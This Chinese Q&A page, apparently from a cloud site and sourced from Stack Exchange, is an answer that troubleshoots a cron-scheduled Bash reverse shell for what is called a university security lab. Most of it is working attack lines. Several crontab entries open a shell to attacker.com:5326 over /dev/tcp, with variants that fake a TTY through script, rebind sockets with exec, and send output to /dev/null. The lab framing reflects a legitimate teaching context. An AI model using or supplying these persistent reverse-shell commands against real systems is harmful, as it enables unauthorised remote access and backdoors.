You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

大学网安实验:Bash反向Shell Cron任务无法正常执行求助

解决Cron直接运行反向Shell命令的问题

我来帮你排查和解决这个问题——作为网安实验的场景,这种直接在cron中嵌入反向Shell的需求很典型,咱们一步步拆解:

原命令失败的核心原因

你的cron任务里直接写/bin/bash -i >& /dev/tcp/attacker.com/5326 0>&1之所以失效,主要有两个关键点:

  1. Cron默认用/bin/sh解析命令:>&和0>&1这种重定向语法是Bash特有的,而大多数系统的cron默认用POSIX兼容的sh来执行任务,sh不支持/dev/tcp这种Bash内置伪设备,也不识别这种合并重定向的写法。
  2. 交互式Shell的环境问题:bash -i是启动交互式Shell,但cron任务运行在无TTY(终端)的环境中,交互式Shell的初始化流程会因为缺少终端而异常,导致反向Shell无法正常建立。

修正后的可行命令

你找到的* * * * * /bin/bash -c 'bash -i >& /dev/tcp/attacker.com/5326 0>&1'方向是对的——用/bin/bash -c强制让Bash来解析里面的命令,避开了sh的限制。但还可以优化,同时解决你提到的两个遗留问题:

问题1:无TTY导致交互式Shell异常

如果必须保留-i(比如需要交互式Shell的特性),可以用script命令模拟伪TTY:

* * * * * /bin/bash -c 'script -q /dev/null -c "bash -i >& /dev/tcp/attacker.com/5326 0>&1"' >/dev/null 2>&1
  • script -q /dev/null会创建一个静默的伪TTY,让bash -i以为自己在终端环境中运行。
  • 末尾的>/dev/null 2>&1是为了消除syslog里的No MTA installed报错,把cron任务的输出(包括错误)直接丢弃。

如果不需要交互式Shell,其实可以去掉-i,命令更简洁且更稳定:

* * * * * /bin/bash -c 'bash >& /dev/tcp/attacker.com/5326 0>&1' >/dev/null 2>&1

问题2:优化重定向语法(可选)

你可以把重定向写法简化成更直观的Bash格式,避免歧义,同时逻辑更稳定:

* * * * * /bin/bash -c 'exec 0<>/dev/tcp/attacker.com/5326; exec bash' >/dev/null 2>&1

这个写法直接把标准输入输出绑定到TCP套接字,然后启动bash,减少了嵌套的复杂度。

验证方法

  1. 先在命令行测试修正后的命令,确认能正常建立反向Shell。
  2. 更新crontab后,查看syslog:如果看到CRON[xxxx]: (pi) CMD (...)但没有报错,同时你的攻击者端监听器收到连接,就说明成功了。
  3. 如果还是有问题,可以临时把命令的输出写到日志文件排查:
* * * * * /bin/bash -c 'bash >& /dev/tcp/attacker.com/5326 0>&1' >> /tmp/cron_shell.log 2>&1

然后查看/tmp/cron_shell.log里的错误信息定位问题。

内容的提问来源于stack exchange,提问作者C0ntr07

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.05.12 04:39:26